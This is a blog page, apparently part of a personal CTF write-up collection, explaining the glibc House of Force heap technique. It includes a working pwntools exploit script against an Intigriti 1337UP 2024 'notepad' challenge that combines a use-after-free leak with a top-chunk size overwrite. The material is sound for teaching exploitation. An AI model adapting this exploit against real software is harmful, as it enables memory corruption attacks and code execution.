📃
Writeups
Blog
  • ℹ️whoami
  • 👩‍💻Binary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  • Overview
  • Example 1 - Initigri CTF 2024 1337UP
  1. Binary Exploitation
  2. Heap

House of Force

so much shit

Overview

Requirements

  • The ability to override top chunk size limit with a overflowing limit 0xFFFFFFFFFF, usually done with a heap overflow

  • Be able to control the size of the heap allocation - program specific - usually able to

  • glibc≤2.29 (was patched)

What is the Top Chunk?

It is the chunk which borders the top of an arena. While servicing 'malloc' requests, it is used as the last resort. If still more size is required, it can grow using the sbrk system call. The PREV_INUSE flag is always set for the top chunk.

Steps

  1. Utilizing a heap overflow, overflow the size of the top chunk header

  2. Calculate the distance between the address of the top chunk (get a leak somewhere via UAF)

    1. This is done so that a malloc with that size will be performed which will move the top chunk to that position

  3. Allocate the size of the distance minus 0x24 (64 bits) or 0x10 (32 bits) to account for metadata of the top chunk and new chunk

  4. Do another malloc to get a chunk at the target address

What can you do with this?

  • Overwrite stack/heap variables

  • Pop shells by overwriting hooks __malloc_hook with one_gadget

Example 1 - Initigri CTF 2024 1337UP

  1. Binary has a UAF as it does not null the pointer after freeing and allows for modification of freed memory via edit_note

  2. Binary also has a heap overflow in the edit_note function

#!/usr/bin/env python3

from pwn import *

exe = ELF("./notepad_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
# context.log_level = 'debug'
p = remote('notepad.ctf.intigriti.io', 1341)
# gdb.attach(p)

def create_note(id, size, contents):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'> ')
    p.sendline(id)
    p.recvuntil(b'> ')
    p.sendline(size)
    p.recvuntil(b'> ')
    p.sendline(contents)

def delete_note(id):
    p.recvuntil(b'> ')
    p.sendline(b'4')
    p.recvuntil(b'> ')
    p.sendline(id)

def edit_note(id, contents):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(id)
    p.recvuntil(b'> ')
    p.sendline(contents)

def view_note(id):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.sendline(id)
  

p.recvuntil(b'Here a gift: ')
base_address = int(p.recvline().strip(b'\\n'),16) - exe.sym['main']
log.info(f'++ Base Address of ELF : {hex(base_address)}')
key_address = base_address + exe.sym['key']
log.info(f'++ Address of Key variable : {hex(key_address)}')

payload = b'A' * 24
payload += p64(0xffffffffffffffff)

create_note(b'0', b'20', b'A'*20)
create_note(b'1', b'20', b'B'*20)
delete_note(b'0')
delete_note(b'1')
view_note(b'1')
heap_leak = int.from_bytes(p.recvline().strip(b'\\n'), "little")
#Get Heap Leak via UAF - (1)
log.info(f'++ Address of Chunk Zero : {hex(heap_leak)}')
heap_base = heap_leak & ~0xFFF
log.info(f'++ Address of Heap Base : {hex(heap_base)}')
top_chunk = heap_base + 0x290
log.info(f'++ Address of Top Chunk : {hex(top_chunk)}')
#Get Distance between address you want to override and top chunk - (2)
delta_distance = key_address - top_chunk
log.info(f'++ Address of Delta Distance : {hex(delta_distance)}')
#Account for header metadata for top chunk as well as chunk to be allocated - (3)
malloc_size = delta_distance - 0x20 - 0x4 
edit_note(b'1',  payload)
#Malloc to allocate chunk at specified memory address with padding - (4)
create_note(b'3', str(malloc_size).encode('utf-8'), b'')
create_note(b'4', b'40', b'A' * 12 + p64(0xCAFEBABE))

p.interactive()
 
PreviousOne By Off OverwriteNextChallenges

Last updated 5 months ago

👩‍💻